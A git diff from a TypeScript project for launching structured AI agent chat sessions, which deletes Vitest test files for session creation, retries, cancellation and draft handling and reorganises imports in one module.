-    const worktreeId = 'wt-retry-close-race'
-    const intent = launchIntent(worktreeId, 'session-retry-close-race')
-    let resolveRetryRefresh!: (snapshots: RuntimeMobileSessionTabsResult[]) => void
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch
-      .mockRejectedValueOnce(new Error('first response lost'))
-      .mockRejectedValueOnce(new Error('retry response lost'))
-    vi.mocked(refreshLocalStructuredSessionTabs)
-      .mockResolvedValueOnce([])
-      .mockImplementationOnce(() => new Promise((resolve) => (resolveRetryRefresh = resolve)))
-
-    startStructuredAgentLaunch(worktreeId, 'codex', { requestId: 'request-4' })
-    await vi.waitFor(() => expect(refreshLocalStructuredSessionTabs).toHaveBeenCalledTimes(2))
-    expect(cancelStructuredAgentLaunch(worktreeId, intent.sessionId)).toBe(true)
-    resolveRetryRefresh([])
-    await flushLaunchSettlement()
-
-    expect(mocks.launch).toHaveBeenCalledTimes(2)
-    expect(mocks.abandonIntent).toHaveBeenCalledWith(intent)
-    expect(toast.error).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-completion.test-fixture.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-completion.test-fixture.ts
deleted file mode 100644
index aa4daef61c9..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-completion.test-fixture.ts
+++ /dev/null
@@ -1,292 +0,0 @@
-import { expect, it, vi } from 'vitest'
-import { sendMessageToAgent } from '../messaging/agent-message-send'
-import { SendParams } from '../../../../../shared/rpc-contract/structured-agent-session-params'
-import type { Tab } from '../../../../../shared/tab-types'
-import { beginStructuredAgentLaunchSettlement } from './continuation/structured-agent-launch-settlement'
-import {
-  getStructuredAgentLaunchStatus,
-  hasStructuredAgentLaunchInWorktree
-} from './structured-agent-session-launch-status'
-import { admitStructuredAgentSession } from '../structured-agent-session-busy'
-import { renderHook } from '@testing-library/react'
-import { useNativeChatProvisionalLaunch } from '@/components/native-chat/host-access/use-native-chat-provisional-launch'
-import { getStructuredLaunchStateBySessionId } from './structured-agent-session-launch-registry'
-import { newAgentLaunchRequestId } from './routing/agent-launch-request-id'
-import {
-  getStructuredAgentSessionPendingSends,
-  getStructuredAgentSessionSendNotice
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-import { readStructuredAgentLaunchRecord } from './structured-agent-session-launch-persistence'
-import { settleStructuredAgentSessionSendsFromJournal } from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import { holdStructuredAgentSessionLaunchOption } from './structured-agent-session-launch-options'
-import { writeNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import {
-  mocks,
-  deferred,
-  createParams,
-  start,
-  submission,
-  created,
-  draft
-} from './structured-agent-session-launch-create-message.test-fixture'
-
-export function registerCreateCompletionTests(): void {
-  it.each(['reply', 'journal'] as const)(
-    'ends create callers at deadline and joins late exact %s proof without restarting callbacks',
-    async (proof) => {
-      const create = deferred<unknown>()
-      mocks.call.mockReturnValue(create.promise)
-      const ready = vi.fn()
-      const delivered = vi.fn()
-      const signal = new AbortController()
-      const removed = vi.spyOn(signal.signal, 'removeEventListener')
-      const launch = beginStructuredAgentLaunchSettlement(
-        'workspace-1',
-        'codex',
-        {
-          requestId: newAgentLaunchRequestId(),
-          executionHostId: 'local',
-          prompt: 'opening text',
-          onPromptDelivered: delivered
-        },
-        { onStructuredReady: ready, signal: signal.signal }
-      )
-      const completed = vi.fn()
-      void launch.settlement.then(completed)
-      await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-      const original = createParams()
-      const raw = getStructuredLaunchStateBySessionId(launch.sessionId)?.promise
-      await vi.advanceTimersByTimeAsync(30_000)
-      await expect(launch.settlement).resolves.toEqual({
-        kind: 'visibility-unknown',
-        sessionId: launch.sessionId
-      })
-      await expect(launch.promptDeliveryResult).resolves.toMatchObject({
-        delivered: false,
-        unconfirmed: true
-      })
-      expect(completed).toHaveBeenCalledOnce()
-      expect(ready).not.toHaveBeenCalled()
-      expect(delivered).not.toHaveBeenCalled()
-      expect(removed).toHaveBeenCalledWith('abort', expect.any(Function))
-      expect(getStructuredAgentLaunchStatus('workspace-1', 'codex')).toBe('idle')
-      expect(hasStructuredAgentLaunchInWorktree('workspace-1')).toBe(false)
-      const tab: Tab = {
-        id: 'opening-tab',
-        entityId: launch.sessionId,
-        contentType: 'agent-session',
-        executionHostId: 'local',
-        worktreeId: 'workspace-1',
-        groupId: 'group-1',
-        label: 'Codex Chat',
-        customLabel: null,
-        color: null,
-        sortOrder: 0,
-        createdAt: 1
-      }
-      mocks.tabs = [tab]
-      const hostPage = {
-        ...created().value.page,
-        working: false,
-        actionablePromptIds: [],
-        backgroundTasks: null,
-        nextQueuedMessageId: null
-      }
-      mocks.rpc.mockResolvedValue({ ok: true, page: hostPage })
-      const admission = vi.fn()
-      await admitStructuredAgentSession('workspace-1', tab, 'close-idle', (busy) => {
-        admission(busy)
-      })
-      expect(admission).toHaveBeenLastCalledWith(false)
-      mocks.hostBusy = true
-      await admitStructuredAgentSession('workspace-1', tab, 'close-working', (busy) => {
-        admission(busy)
-      })
-      expect(admission).toHaveBeenLastCalledWith(true)
-      mocks.hostBusy = false
-      mocks.rpc.mockResolvedValue({
-        ok: true,
-        page: { ...hostPage, nextQueuedMessageId: 'real-queue' }
-      })
-      await admitStructuredAgentSession('workspace-1', tab, 'close-queue', (busy) => {
-        admission(busy)
-      })
-      expect(admission).toHaveBeenLastCalledWith(true)
-
-      const view = renderHook(() => useNativeChatProvisionalLaunch('workspace-1', launch.sessionId))
-      expect(view.result.current).toMatchObject({
-        starting: false,
-        transportEnabled: true,
-        lifecycle: 'visibility-unknown'
-      })
-      expect(getStructuredAgentSessionSendNotice(launch.sessionId)).toBeNull()
-      expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toMatchObject([
-        {
-          clientMessageId: original.firstMessage?.clientMessageId,
-          body: original.firstMessage?.body,
-          phase: 'unconfirmed'
-        }
-      ])
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)?.firstMessage).toEqual(
-        original.firstMessage
-      )
-      writeNativeChatDraftCache(
-        structuredAgentSessionDraftScopeKey(launch.sessionId),
-        'newer draft'
-      )
-      const response = created()
-      if (proof === 'journal') {
-        settleStructuredAgentSessionSendsFromJournal(
-          launch.sessionId,
-          response.value.page.submissions,
-          [],
-          response.value.page.liveCursor
-        )
-      }
-      create.resolve(response)
-      await raw
-      await vi.waitFor(() =>
-        expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toEqual([])
-      )
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)).toBeUndefined()
-      expect(completed).toHaveBeenCalledOnce()
-      expect(ready).not.toHaveBeenCalled()
-      expect(delivered).not.toHaveBeenCalled()
-      expect(getStructuredAgentLaunchStatus('workspace-1', 'codex')).toBe('idle')
-      expect(draft(launch.sessionId)).toBe('newer draft')
-      expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual(['agentSession.create'])
-      view.unmount()
-    }
-  )
-
-  it('sends notes after an unknown opening ends, while live sends and host refusals still own admission', async () => {
-    const create = deferred<unknown>()
-    const notesReply = deferred<unknown>()
-    mocks.call.mockReturnValue(create.promise)
-    const launch = start()
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-    const original = createParams().firstMessage
-    mocks.tabs = [
-      {
-        id: 'opening-tab',
-        entityId: launch.sessionId,
-        contentType: 'agent-session',
-        executionHostId: 'local',
-        worktreeId: 'workspace-1',
-        groupId: 'group-1',
-        label: 'Codex Chat',
-        customLabel: null,
-        color: null,
-        sortOrder: 0,
-        createdAt: 1
-      }
-    ]
-    const sendNotes = () =>
-      sendMessageToAgent({
-        worktreeId: 'workspace-1',
-        target: { kind: 'structured-session', sessionId: launch.sessionId },
-        prompt: 'review notes with the full requested change'
-      })
-    await expect(sendNotes()).resolves.toMatchObject({ status: 'not-ready' })
-    await vi.advanceTimersByTimeAsync(30_000)
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ unconfirmed: true })
-    writeNativeChatDraftCache(structuredAgentSessionDraftScopeKey(launch.sessionId), 'newer draft')
-    mocks.call.mockImplementation((_target, method) =>
-      method === 'agentSession.history'
-        ? Promise.resolve({ ok: true, page: created().value.page })
-        : notesReply.promise
-    )
-    const sendCalls = () =>
-      mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')
-    const notes = sendNotes()
-    await vi.waitFor(() => expect(sendCalls()).toHaveLength(1))
-    const sent = SendParams.parse(sendCalls()[0]?.[2])
-    expect(sent.body.blocks).toEqual([
-      { type: 'text', text: 'review notes with the full requested change' }
-    ])
-    expect(sent.envelope.clientOperationId).not.toBe(original?.clientMessageId)
-    await expect(sendNotes()).resolves.toMatchObject({ status: 'not-ready' })
-    notesReply.resolve({
-      ok: false,
-      refusal: {
-        code: 'agent_session_conflict',
-        message: 'The host queue sends first.',
-        details: { reason: 'queuedMessagesAhead' }
-      }
-    })
-    await expect(notes).resolves.toEqual({ status: 'not-writable', code: 'session-send-refused' })
-    mocks.call.mockImplementation(async (_target, method, params) => {
-      expect(method).toBe('agentSession.send')
-      const request = SendParams.parse(params)
-      return {
-        ok: true,
-        replayed: false,
-        fence: 1,
-        cursor: { epoch: 'epoch-1', sequence: 2 },
-        value: {
-          clientMessageId: request.envelope.clientOperationId,
-          submission: submission(request.envelope.clientOperationId)
-        }
-      }
-    })
-    await expect(sendNotes()).resolves.toEqual({ status: 'sent' })
-    expect(readStructuredAgentLaunchRecord(launch.sessionId)?.firstMessage).toEqual(original)
-    expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toMatchObject([
-      { clientMessageId: original?.clientMessageId, body: original?.body, phase: 'unconfirmed' }
-    ])
-    expect(draft(launch.sessionId)).toBe('newer draft')
-    expect(
-      mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-    ).toHaveLength(1)
-  })
-
-  it('settles an exact journal receipt before an unanswered create reply, without waiting on that RPC', async () => {
-    const create = deferred<unknown>()
-    const option = deferred<unknown>()
-    mocks.call.mockImplementation((_target, method) =>
-      method === 'agentSession.create' ? create.promise : option.promise
-    )
-    const ready = vi.fn()
-    const delivered = vi.fn()
-    const launch = beginStructuredAgentLaunchSettlement(
-      'workspace-1',
-      'codex',
-      {
-        requestId: newAgentLaunchRequestId(),
-        executionHostId: 'local',
-        prompt: 'opening text',
-        onPromptDelivered: delivered
-      },
-      { onStructuredReady: ready }
-    )
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-    const raw = getStructuredLaunchStateBySessionId(launch.sessionId)?.promise
-    const picked = holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'later-model')
-    const response = created()
-    settleStructuredAgentSessionSendsFromJournal(
-      launch.sessionId,
-      response.value.page.submissions,
-      [],
-      response.value.page.liveCursor
-    )
-    await expect(launch.settlement).resolves.toMatchObject({
-      kind: 'structured',
-      sessionId: launch.sessionId
-    })
-    expect(ready).toHaveBeenCalledOnce()
-    expect(delivered).toHaveBeenCalledOnce()
-    writeNativeChatDraftCache(structuredAgentSessionDraftScopeKey(launch.sessionId), 'newer draft')
-    create.resolve(response)
-    await raw
-    expect(ready).toHaveBeenCalledOnce()
-    expect(delivered).toHaveBeenCalledOnce()
-    expect(draft(launch.sessionId)).toBe('newer draft')
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual([
-      'agentSession.create',
-      'agentSession.setOption'
-    ])
-    option.resolve({ ok: true, value: { options: { model: 'later-model' } } })
-    await expect(picked).resolves.toMatchObject({ kind: 'accepted' })
-  })
-}
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-call.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-call.ts
index faa8375b0f4..985bce0d938 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-call.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-call.ts
@@ -3,10 +3,6 @@ import {
   AGENT_SESSION_SEND_SELECTION_RUNTIME_CAPABILITY,
   AGENT_SESSION_SEND_SKILLS_RUNTIME_CAPABILITY
 } from '../../../../../shared/agent-session/agent-session-create-capabilities'
-import type {
-  AgentSessionAttachResult,
-  AgentSessionMutationResult
-} from '../../../../../shared/agent-session/agent-session-wire'
 import { hasRuntimeRpcErrorCode } from '../../../../../shared/runtime-rpc-error-code'
 import {
   isAgentSessionCreateAdmissionRefusal,
@@ -21,21 +17,17 @@ import {
   structuredAgentSessionHostSupports,
   supportsStructuredAgentSessionCreateMessage
 } from '@/runtime/native-chat/host-capabilities/structured-agent-session-host-support'
-import type { StructuredAgentSessionCreateParams } from '../../../../../shared/agent-session/structured-agent-session-create'
-import { withFrameDrawnChatTabPlacement } from '../../frame-drawn-chat-tab-placement'
+import { withFrameDrawnChatTabPlacement } from '../../../store/workspace-layout/frames/frame-drawn-chat-tab-placement'
 import { publishStructuredAgentSessionCreateHydration } from './structured-agent-session-create-hydration'
 import { askHostCreateSupport } from './structured-agent-session-host-admission'
 import { readStructuredChatHostPermissionVerdict } from '@/runtime/native-chat/host-capabilities/structured-chat-host-permission'
-import type { StructuredAgentSessionLaunchIntent } from '../../launch-structured-agent-session'
 import { abandonStructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-abandon'
-import type { StructuredAgentLaunchReceipt } from './structured-agent-session-launch-recovery'
 import {
   StructuredAgentSessionCreateError,
   StructuredAgentSessionCreateAbandonedError,
   StructuredAgentSessionCreateRefusalError,
   StructuredAgentSessionCreateUnknownOutcomeError
 } from './structured-agent-session-launch-errors'
-
 import {
   requireHostForkSupport,
   inheritedForkCreateOptions,
@@ -45,7 +37,13 @@ import {
   RuntimeConnectionChangedBeforeSendError,
   RuntimeRpcCallError
 } from '@/runtime/rpc/calls/runtime-rpc-result'
-export { STRUCTURED_LAUNCH_FORK_UNSUPPORTED_REFUSAL } from './structured-agent-session-launch-fork-support'
+import type {
+  AgentSessionAttachResult,
+  AgentSessionMutationResult
+} from '../../../../../shared/agent-session/agent-session-wire'
+import type { StructuredAgentSessionCreateParams } from '../../../../../shared/agent-session/structured-agent-session-create'
+import type { StructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-intent'
+import type { StructuredAgentLaunchReceipt } from './structured-agent-session-launch-recovery'
 
 type LaunchSeed = Readonly<Record<string, string>> | undefined
 const DEFINITIVE_CREATE_FAILURE_CODES = [
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.test.ts
deleted file mode 100644
index 95f8e402809..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.test.ts
+++ /dev/null
@@ -1,797 +0,0 @@
-// @vitest-environment happy-dom
-import {
-  mocks,
-  resetCreateMessageFixture,
-  cleanupCreateMessageFixture,
-  layoutOwner,
-  deferred,
-  createParams,
-  submission,
-  created,
-  target,
-  start,
-  draft,
-  startLegacyActionLaunch
-} from './structured-agent-session-launch-create-message.test-fixture'
-import { registerCreateSelectionAdmissionTests } from './structured-agent-session-launch-selection-admission.test-fixture'
-import { registerCreateHydrationTests } from './structured-agent-session-launch-hydration.test-fixture'
-import { registerCreateCompletionTests } from './structured-agent-session-launch-completion.test-fixture'
-import { structuredAgentSessionCreateFingerprint } from '../../../../../shared/agent-session/lifecycle/structured-agent-session-mutation'
-import { isStructuredAgentSessionMainAgentWorking } from '../../../../../shared/agent-session/view/structured-agent-session-main-agent-working'
-import { structuredAgentSessionStopControl } from '../../../../../shared/agent-session/view/structured-agent-session-stop-control'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { registerActionEffortCreateTests } from './structured-agent-session-launch-action-effort.test-fixture'
-import { registerCreateSelectionTests } from './structured-agent-session-create-selection.test-fixture'
-
-import {
-  startStructuredAgentLaunch,
-  cancelStructuredAgentLaunch,
-  retryStructuredAgentSessionLaunch
-} from './structured-agent-session-launch'
-import { getStructuredAgentLaunchStatus } from './structured-agent-session-launch-status'
-import { useNativeChatProvisionalLaunch } from '@/components/native-chat/host-access/use-native-chat-provisional-launch'
-import { renderHook } from '@testing-library/react'
-import { recheckUnconfirmedStructuredAgentLaunches } from './structured-agent-session-launch-unconfirmed-recheck'
-import {
-  settleStructuredAgentSessionSendsFromJournal,
-  resetStructuredAgentSessionSendsForTests
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import {
-  resetStructuredAgentLaunchRegistryForTests,
-  getStructuredLaunchStateBySessionId
-} from './structured-agent-session-launch-registry'
-import {
-  holdStructuredAgentSessionLaunchOption,
-  structuredLaunchOptionOverlay
-} from './structured-agent-session-launch-options'
-import { recordHostModelCatalogSnapshot } from '@/runtime/native-chat/model-catalogs/host-model-catalog-snapshots'
-import {
-  resetStructuredAgentLaunchPersistenceForTests,
-  readStructuredAgentLaunchRecord
-} from './structured-agent-session-launch-persistence'
-import { newAgentLaunchRequestId } from './routing/agent-launch-request-id'
-import { markStructuredAgentSessionLaunchPublished } from './structured-agent-session-launch-publication'
-import { StructuredAgentSessionCreateRefusalError } from './structured-agent-session-launch-errors'
-import { getStructuredAgentSessionReadOwner } from '@/components/native-chat/session/structured/read/structured-agent-session-read-owner'
-import { findStructuredAgentSessionReadOwner } from '@/components/native-chat/session/structured/read/structured-agent-session-read-owner-registry'
-import {
-  getStructuredAgentSessionPendingSends,
-  getStructuredAgentSessionSendNotice
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-
-import { writeNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-
-import {
-  CreateIntentParams,
-  SendParams
-} from '../../../../../shared/rpc-contract/structured-agent-session-params'
-
-import { structuredSessionSelectionController } from '../options/structured-agent-session-selection-controller'
-
-let restoreCatalogStore: (() => void) | undefined
-describe('the first message owned by create', () => {
-  beforeEach(() => {
-    restoreCatalogStore = resetCreateMessageFixture()
-  })
-  afterEach(() => {
-    cleanupCreateMessageFixture(restoreCatalogStore)
-  })
-
-  it('freezes the message and held options in create and publishes without another read or send', async () => {
-    mocks.exactSupport.mockResolvedValue(true)
-    recordHostModelCatalogSnapshot(target, 'codex', null, {
-      origin: 'probe',
-      fetchedAt: 1,
-      defaultHoldsInEveryWorkspace: true,
-      models: [
-        {
-          id: 'picked-model',
-          label: 'Picked',
-          isDefault: false,
-          efforts: [
-            { value: 'low', label: 'Low' },
-            { value: 'high', label: 'High' }
-          ]
-        }
-      ]
-    })
-    const create = deferred<unknown>()
-    mocks.call.mockReturnValue(create.promise)
-    const launch = start()
-    holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'picked-model')
-    holdStructuredAgentSessionLaunchOption(launch.sessionId, 'effort', 'high')
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-    const params = createParams()
-    expect(params.firstMessage?.body.blocks).toEqual([{ type: 'text', text: 'opening text' }])
-    expect(params.options).toEqual({ model: 'picked-model', effort: 'high' })
-    expect(params.firstMessage?.selection).toEqual({ model: 'picked-model', effort: 'high' })
-    expect(params.envelope.payloadFingerprint).toBe(
-      structuredAgentSessionCreateFingerprint({ sessionId: launch.sessionId, ...params })
-    )
-    expect(getStructuredAgentSessionPendingSends(launch.sessionId)[0]?.phase).toBe('sending')
-    const stop = vi.fn(async () => null)
-    expect(
-      structuredAgentSessionStopControl({
-        published: false,
-        host: { stopsConversation: true, stop },
-        transportState: { turnId: null, isWorking: false },
-        sends: { sending: true, stopSends: vi.fn() }
-      }).canStop
-    ).toBe(false)
-    create.resolve(created())
-    await launch.launchResult
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: true })
-    const state = getStructuredAgentSessionReadOwner(launch.sessionId, target).getSnapshot().state
-    expect(state.fence).toBe(1)
-    const isWorking = isStructuredAgentSessionMainAgentWorking(null, state.submissions, state.fence)
-    expect(isWorking).toBe(true)
-    const control = structuredAgentSessionStopControl({
-      published: true,
-      host: { stopsConversation: true, stop },
-      transportState: { turnId: null, isWorking },
-      sends: { sending: false, stopSends: vi.fn() }
-    })
-    expect(control.canStop).toBe(true)
-    await control.stop()
-    expect(stop).toHaveBeenCalledWith(null, expect.any(Function))
-    expect(draft(launch.sessionId)).toBe('')
-    expect(mocks.inventory).not.toHaveBeenCalled()
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual(['agentSession.create'])
-  })
-
-  it('leaves a learned configured model and its effort to the agent', async () => {
-    mocks.exactSupport.mockResolvedValue(true)
-    recordHostModelCatalogSnapshot(target, 'claude', null, {
-      origin: 'probe',
-      fetchedAt: 1,
-      listingNamesConfiguredModel: true,
-      defaultHoldsInEveryWorkspace: true,
-      models: [
-        {
-          id: 'opus',
-          label: 'Opus',
-          isDefault: true,
-          defaultEffort: 'high',
-          declaredDefaultEffort: 'low',
-          efforts: [
-            { value: 'low', label: 'Low' },
-            { value: 'high', label: 'High' }
-          ]
-        }
-      ]
-    })
-    mocks.call.mockImplementation(async () => created())
-    const launch = startStructuredAgentLaunch('workspace-1', 'claude', {
-      requestId: newAgentLaunchRequestId(),
-      executionHostId: 'local',
-      prompt: 'opening text'
-    })
-    await launch.launchResult
-    expect(createParams().options).toBeUndefined()
-    expect(createParams().firstMessage?.selection).toEqual({})
-    expect(createParams().envelope.payloadFingerprint).toBe(
-      structuredAgentSessionCreateFingerprint({ sessionId: launch.sessionId, ...createParams() })
-    )
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual(['agentSession.create'])
-  })
-
-  it.each([
-    ['new', {}],
-    ['resumed', { resumeFrom: { providerSessionId: 'provider-session-1' } }]
-  ])('keeps remembering in its owning lifetime, %s', async (_kind, resume) => {
-    mocks.exactSupport.mockResolvedValue(true)
-    mocks.settings = {
-      nativeChatSessionOptions: {
-        claude: { model: 'claude-gone' }
-      }
-    }
-    const xhigh = [{ value: 'xhigh', label: 'xhigh' }]
-    recordHostModelCatalogSnapshot(target, 'claude', null, {
-      origin: 'probe',
-      fetchedAt: 1,
-      models: [{ id: 'opus[1m]', label: 'Opus', isDefault: true, efforts: xhigh }]
-    })
-    mocks.call.mockImplementation(async () => created())
-    try {
-      const launch = startStructuredAgentLaunch('workspace-1', 'claude', {
-        requestId: newAgentLaunchRequestId(),
-        executionHostId: 'local',
-        prompt: 'opening text',
-        ...resume
-      })
-      await launch.launchResult
-      expect(createParams().options?.model).toBe(
-        'resumeFrom' in resume && resume.resumeFrom ? undefined : 'claude-gone'
-      )
-      expect(createParams().firstMessage?.selection).toEqual(
-        'resumeFrom' in resume && resume.resumeFrom ? {} : { model: 'claude-gone' }
-      )
-    } finally {
-      mocks.settings = {}
-    }
-  })
-
-  registerActionEffortCreateTests(mocks, created)
-  registerCreateSelectionTests()
-  registerCreateSelectionAdmissionTests()
-
-  it.each(['codex', 'claude'] as const)(
-    'creates %s on an unlisted explicit model without importing saved effort',
-    async (agent) => {
-      mocks.settings = {
-        nativeChatSessionOptions: {
-          [agent]: { model: 'saved-model', valuesByModel: { 'saved-model': { effort: 'low' } } }
-        }
-      }
-      mocks.call.mockImplementation(async () => created())
-      try {
-        const launch = startStructuredAgentLaunch('workspace-1', agent, {
-          requestId: newAgentLaunchRequestId(),
-          executionHostId: 'local',
-          prompt: 'opening text',
-          launchOptions: { model: 'unlisted-action-model' }
-        })
-        expect(readStructuredAgentLaunchRecord(launch.sessionId)?.explicitLaunchOptions).toEqual({
-          model: 'unlisted-action-model'
-        })
-        expect(
-          structuredLaunchOptionOverlay(getStructuredLaunchStateBySessionId(launch.sessionId)!)
-        ).toEqual({})
-        await launch.launchResult
-        expect(createParams().optionsMode).toBe('replace-model-selection')
-        expect(createParams().options).toEqual({
-          model: 'unlisted-action-model',
-          permissionMode: 'ask'
-        })
-      } finally {
-        mocks.settings = {}
-      }
-    }
-  )
-
-  it.each([
-    ['a permission-only action leaves the remembered model', undefined, undefined],
-    [
-      'a model picked during launch keeps the action mode',
-      'picked-model',
-      'replace-model-selection'
-    ]
-  ])('%s', async (_name, picked, optionsMode) => {
-    mocks.call.mockImplementation(async () => created())
-    const launch = startStructuredAgentLaunch('workspace-1', 'codex', {
-      requestId: newAgentLaunchRequestId(),
-      executionHostId: 'local',
-      prompt: 'opening text',
-      launchOptions: picked
-        ? { model: 'action-model', effort: 'high', permissionMode: 'full-access' }
-        : { permissionMode: 'full-access' }
-    })
-    if (picked) {
-      holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', picked)
-    }
-    await launch.launchResult
-    expect(createParams().optionsMode).toBe(optionsMode)
-    expect(createParams().options).toEqual({
-      permissionMode: 'full-access',
-      ...(picked ? { model: picked } : {})
-    })
-  })
-
-  it('leaves a host without options-mode on its own new-chat permission mode', async () => {
-    mocks.supportsMode.mockResolvedValue(false)
-    mocks.call.mockImplementation(async () => created())
-    const launch = startStructuredAgentLaunch('workspace-1', 'codex', {
-      requestId: newAgentLaunchRequestId(),
-      executionHostId: 'local',
-      prompt: 'opening text',
-      launchOptions: { permissionMode: 'full-access' }
-    })
-    await launch.launchResult
-    expect(createParams().options).toBeUndefined()
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual(['agentSession.create'])
-  })
-
-  it('carries a held tier as the picker draws it, keeps the pick through a refusal, and settles it once', async () => {
-    const tiers = (...values: string[]) => values.map((value) => ({ value, label: value }))
-    const efforts = tiers('medium', 'high')
-    const list = (defaultId: string) => ({
-      origin: 'probe' as const,
-      fetchedAt: 1,
-      listingNamesConfiguredModel: true,
-      defaultHoldsInEveryWorkspace: true as const,
-      models: [
-        ['m1', 'priority'],
-        ['m2', 'flex']
-      ].map(([id, tier]) => ({
-        id,
-        label: id,
-        isDefault: defaultId === id,
-        efforts,
-        serviceTiers: tiers(tier)
-      }))
-    })
-    recordHostModelCatalogSnapshot(target, 'codex', null, list('m1'))
-    const refused = deferred<unknown>()
-    const create = deferred<unknown>()
-    mocks.call.mockReturnValueOnce(refused.promise).mockReturnValueOnce(create.promise)
-    mocks.call.mockResolvedValue({ ok: true, value: { key: 'effort', value: 'medium' } })
-    const launch = start()
-    const tierPick = holdStructuredAgentSessionLaunchOption(
-      launch.sessionId,
-      'serviceTier',
-      'priority'
-    )
-    holdStructuredAgentSessionLaunchOption(launch.sessionId, 'effort', 'high')
-    // The account's default moves before create goes out: Fast runs as Standard under it.
-    recordHostModelCatalogSnapshot(target, 'codex', null, list('m2'))
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-    expect(createParams().options).toEqual({ effort: 'high', serviceTier: 'default' })
-    refused.resolve({
-      ok: false,
-      refusal: { code: 'structured_agent_session_unsupported', message: 'no' }
-    })
-    await expect(launch.launchResult).rejects.toBeInstanceOf(
-      StructuredAgentSessionCreateRefusalError
-    )
-    recordHostModelCatalogSnapshot(target, 'codex', null, list('m1'))
-    expect(retryStructuredAgentSessionLaunch('workspace-1', launch.sessionId)).toBe(true)
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledTimes(2))
-    const retried = CreateIntentParams.parse(mocks.call.mock.calls[1]?.[2])
-    expect(retried.options).toEqual({ effort: 'high', serviceTier: 'priority' })
-    // A pick made while create is out is newer than what it carries, so it applies after.
-    holdStructuredAgentSessionLaunchOption(launch.sessionId, 'effort', 'medium')
-    create.resolve(created())
-    await expect(tierPick).resolves.toEqual({
-      kind: 'accepted',
-      options: { effort: 'high', serviceTier: 'priority' }
-    })
-    await vi.waitFor(() =>
-      expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual([
-        'agentSession.create',
-        'agentSession.create',
-        'agentSession.setOption'
-      ])
-    )
-    expect(mocks.call.mock.calls[2]?.[2]).toMatchObject({ key: 'effort', value: 'medium' })
-  })
-
-  it.each([0, 30_000])(
-    'returns a refused create once after %ims and the new draft',
-    async (delay) => {
-      const create = deferred<unknown>()
-      mocks.call.mockReturnValue(create.promise)
-      const launch = start()
-      const held = !delay
-        ? holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'gpt-5.4')
-        : null
-      const state = getStructuredLaunchStateBySessionId(launch.sessionId)
-      if (state && !delay) {
-        state.intent.surfaceAddress = { worktreeId: 'workspace-1', precedingTabIds: [] }
-      }
-      await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-      const raw = state?.promise
-      if (delay) {
-        await vi.advanceTimersByTimeAsync(delay)
-        await expect(launch.launchResult).rejects.toThrow('Opening message outcome unknown.')
-      }
-      writeNativeChatDraftCache(
-        structuredAgentSessionDraftScopeKey(launch.sessionId),
-        'typed meanwhile'
-      )
-      create.resolve({
-        ok: false,
-        refusal: { code: 'structured_agent_session_unsupported', message: 'unavailable' }
-      })
-      await expect(raw).rejects.toBeInstanceOf(StructuredAgentSessionCreateRefusalError)
-      await launch.promptDeliveryResult?.catch(() => undefined)
-      expect(draft(launch.sessionId)).toBe('typed meanwhile\n\nopening text')
-      expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual(['agentSession.create'])
-      expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toEqual([])
-      if (delay) {
-        const view = renderHook(() =>
-          useNativeChatProvisionalLaunch('workspace-1', launch.sessionId)
-        )
-        expect(view.result.current.lifecycle).toBe('failed')
-        view.unmount()
-      } else {
-        expect(findStructuredAgentSessionReadOwner(launch.sessionId, target)).toBeUndefined()
-      }
-      if (held) {
-        await expect(held).resolves.toEqual({ kind: 'superseded' })
-      }
-    }
-  )
-
-  registerCreateCompletionTests()
